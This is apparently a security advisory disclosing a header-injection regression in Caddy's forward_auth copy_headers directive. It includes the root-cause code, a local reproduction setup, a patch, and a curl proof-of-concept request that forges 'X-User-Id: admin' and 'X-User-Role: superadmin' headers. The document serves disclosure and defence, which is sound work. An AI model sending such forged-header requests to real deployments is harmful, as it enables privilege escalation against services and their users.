Summary

Caddy's forward_auth directive with copy_headers generates conditional header-set operations that only fire when the upstream auth service includes the named header in its response. No delete or remove operation is generated for the original client-supplied request header with the same name.

When an auth service returns 200 OK without one of the configured copy_headers headers, the client-supplied header passes through unchanged to the backend. Any requester holding a valid authentication token can inject arbitrary values for trusted identity headers, resulting in privilege escalation.

This is a regression introduced by PR #6608 in November 2024. All stable releases from v2.10.0 onward are affected.

Scope Argument

This is a bug in the source code of this repository, not a misconfiguration.

The operator uses forward_auth with copy_headers exactly as documented. The documentation contains no warning that client-supplied headers with the same names as copy_headers entries must also be stripped manually. The forward_auth directive is a security primitive whose stated purpose is to gate backend access behind an external auth service. A user of this directive reasonably expects that the backend cannot receive a client-controlled value for a header listed in copy_headers.

The bug is traceable to a specific commit: PR #6608 (merged November 4, 2024), which added a MatchNot guard to skip the Set operation when the auth response header is absent. This change, while fixing a legitimate UX issue (headers being set to empty strings), removed the incidental protection that the previous unconditional Set provided. Before PR #6608, setting a header to an empty/unresolved placeholder overwrote the attacker-supplied value. After PR #6608, the attacker's value survives.

The fix is a single-line code change in modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go.

Affected Versions

Package: github.com/caddyserver/caddy/v2
Affected file: modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go

Root Cause

The parseCaddyfile function builds one route per copy_headers entry. Each route uses a MatchNot guard and a Set operation:

// from modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go (v2.11.1, identical in v2.10.x)
copyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{
    MatcherSetsRaw: []caddy.ModuleMap{{
        "not": h.JSON(caddyhttp.MatchNot{MatcherSetsRaw: []caddy.ModuleMap{{
            "vars": h.JSON(caddyhttp.VarsMatcher{
                "{" + placeholderName + "}": []string{""},
            }),
        }}}),
    }},
    HandlersRaw: []json.RawMessage{caddyconfig.JSONModuleObject(
        handler, "handler", "headers", nil,
    )},
})

The route runs only when {http.reverse_proxy.header.X-User-Id} (the auth service's response header) is non-empty. When the auth service does not return X-User-Id, the placeholder is empty, the MatchNot guard fires, the route is skipped, and the original client-supplied X-User-Id header is never removed.

There is no Delete operation anywhere in this function.

Minimal Reproduction Config

Caddyfile (no redactions, as required):

{
    admin off
    auto_https off
    debug
}

:8080 {
    forward_auth 127.0.0.1:9091 {
        uri /
        copy_headers X-User-Id X-User-Role
    }
    reverse_proxy 127.0.0.1:9092
}

Reproduction Steps

No containers, VMs, or external services are used. All services run as local processes.

Step 1 — Start the auth service

Save as auth.py and run python3 auth.py in a terminal:

# auth.py
# Accepts any Bearer token, returns 200 OK with NO identity headers.
# Represents a stateless JWT validator that checks signature only.
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        auth = self.headers.get('Authorization', '')
        code = 200 if auth.startswith('Bearer ') else 401
        self.send_response(code)
        self.end_headers()
        sys.stdout.write(f'[auth] {self.command} {self.path} -> {code}\n')
        sys.stdout.flush()
    def log_message(self, *a): pass

HTTPServer(('127.0.0.1', 9091), H).serve_forever()

Step 2 — Start the backend

Save as backend.py and run python3 backend.py in a second terminal:

# backend.py
# Echoes the identity headers it receives.
import sys, json
from http.server import HTTPServer, BaseHTTPRequestHandler

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        data = {
            'X-User-Id':   self.headers.get('X-User-Id',   '(absent)'),
            'X-User-Role': self.headers.get('X-User-Role', '(absent)'),
        }
        body = json.dumps(data, indent=2).encode()
        self.send_response(200)
        self.send_header('Content-Type', 'application/json')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)
        sys.stdout.write(f'[backend] saw: {data}\n')
        sys.stdout.flush()
    def log_message(self, *a): pass

HTTPServer(('127.0.0.1', 9092), H).serve_forever()

Step 3 — Start Caddy

caddy run --config Caddyfile --adapter caddyfile

Step 4 — Run the three test cases

Test A: No token — must be blocked (confirms auth is enforced)

curl -v http://127.0.0.1:8080/

Expected: HTTP/1.1 401

Test B: Valid token, no injected headers (baseline)

curl -v http://127.0.0.1:8080/ \
  -H "Authorization: Bearer token123"

Expected backend response:

{
  "X-User-Id":   "(absent)",
  "X-User-Role": "(absent)"
}

Test C: ATTACK — valid token plus injected identity headers

curl -v http://127.0.0.1:8080/ \
  -H "Authorization: Bearer token123" \
  -H "X-User-Id: admin" \
  -H "X-User-Role: superadmin"

Actual backend response (demonstrates the vulnerability):

{
  "X-User-Id":   "admin",
  "X-User-Role": "superadmin"
}

The backend receives the attacker-supplied identity values. The auth service accepted the token (correctly) but did not return X-User-Id or X-User-Role. Caddy skipped the Set operation due to the MatchNot guard but never deleted the original headers. The attacker-controlled values survived into the proxied request.

Test C is the proof of the vulnerability.

The attack requires only a valid (non-privileged) token. No admin account is needed.

Full Debug Log

Run Caddy with debug in the global block (included in the Caddyfile above). The relevant log lines from Test C will show:

DEBUG   http.handlers.reverse_proxy     selected upstream  {"dial": "127.0.0.1:9091"}
DEBUG   http.handlers.reverse_proxy     upstream responded  {"status": 200}
DEBUG   http.handlers.reverse_proxy     handling response   {"handler": "copy_headers"}

Note that no log line will show a header deletion because no deletion occurs. The X-User-Id and X-User-Role headers are never touched.

Impact

Any deployment using forward_auth with copy_headers where the auth service validates credentials without returning identity headers in its response. This is common in:

• Stateless JWT validators (verify signature, no response headers)
• Session validators that leave identity decoding to the backend
• Auth services where only some requests return identity headers

Attack:

1. Attacker has any valid auth token
2. Attacker sends request with forged X-User-Id: admin and X-User-Role: superadmin
3. Auth service validates token, returns 200 OK, no identity headers
4. Caddy skips Set (placeholder empty), never deletes original headers
5. Backend receives X-User-Id: admin, X-User-Role: superadmin
6. Backend grants admin access

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 8.1 High

Working Patch

--- a/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go
+++ b/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go
@@ -216,6 +216,25 @@ func parseCaddyfile(h httpcaddyfile.Helper) ([]httpcaddyfile.ConfigValue, error)
 	copyHeaderRoutes := []caddyhttp.Route{}
 	for _, from := range sortedHeadersToCopy {
 		to := http.CanonicalHeaderKey(headersToCopy[from])
 		placeholderName := "http.reverse_proxy.header." + http.CanonicalHeaderKey(from)
+
+		// Security fix: unconditionally delete the client-supplied header
+		// before the conditional set runs. Without this, a client that
+		// pre-supplies a header listed in copy_headers can inject arbitrary
+		// values when the auth service does not return that header, because
+		// the MatchNot guard below skips the Set entirely (leaving the
+		// original client value intact).
+		copyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{
+			HandlersRaw: []json.RawMessage{
+				caddyconfig.JSONModuleObject(
+					&headers.Handler{
+						Request: &headers.HeaderOps{
+							Delete: []string{to},
+						},
+					},
+					"handler", "headers", nil,
+				),
+			},
+		})
+
 		handler := &headers.Handler{
 			Request: &headers.HeaderOps{
 				Set: http.Header{

The delete route has no matcher, so it always runs. It fires before the existing MatchNot + Set route. The client-supplied header is cleared unconditionally. If the auth service provides the header, the subsequent Set then applies the correct value. If the auth service does not provide the header, the client's value is gone and the backend receives nothing.

This is a minimal, targeted fix with no impact on existing functionality when the auth service returns the headers.

Uniqueness Confirmation

The following were checked and confirmed not to cover this vulnerability:

• All 6 GHSA advisories published 2026-02-23: GHSA-x76f-jf84-rqj8, GHSA-g7pc-pc7g-h8jh, GHSA-hffm-g8v7-wrv7, GHSA-879p-475x-rqh2, GHSA-4xrr-hq4w-6vf4, GHSA-5r3v-vc8m-m96g
• GitHub issue #7459 (malformed Host header)
• GitHub issue #6610 (template placeholder leakage in copy_headers — fixed by PR #6608, which introduced this regression)
• All Caddy community forum threads on forward_auth, copy_headers, and header stripping
• CVE-2026-25748 (authentik auth bypass — root cause is in authentik cookie parsing, not Caddy)
• CVE-2024-21494, CVE-2024-21499 (caddy-security third-party plugin, not Caddy core)
• PR #6608 comment thread (no security discussion)
• cvedetails.com Caddy product listing (no matching CVE)

No prior report exists for this specific behavior.

References

• Vulnerable file (v2.11.1): https://github.com/caddyserver/caddy/blob/v2.11.1/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go
• PR #6608 (introduced regression): caddyserver/caddy#6608
• Issue #6610 (related UX bug, fixed by PR #6608): caddyserver/caddy#6610
• forward_auth documentation: https://caddyserver.com/docs/caddyfile/directives/forward_auth

Fix

Fix PR - caddyserver/caddy#7545

AI Disclosure

An LLM was used to polish the report.

References

• GHSA-7r4p-vjf4-gxv4
• caddyserver/caddy#6610
• caddyserver/caddy#6608
• caddyserver/caddy#7545
• https://nvd.nist.gov/vuln/detail/CVE-2026-30851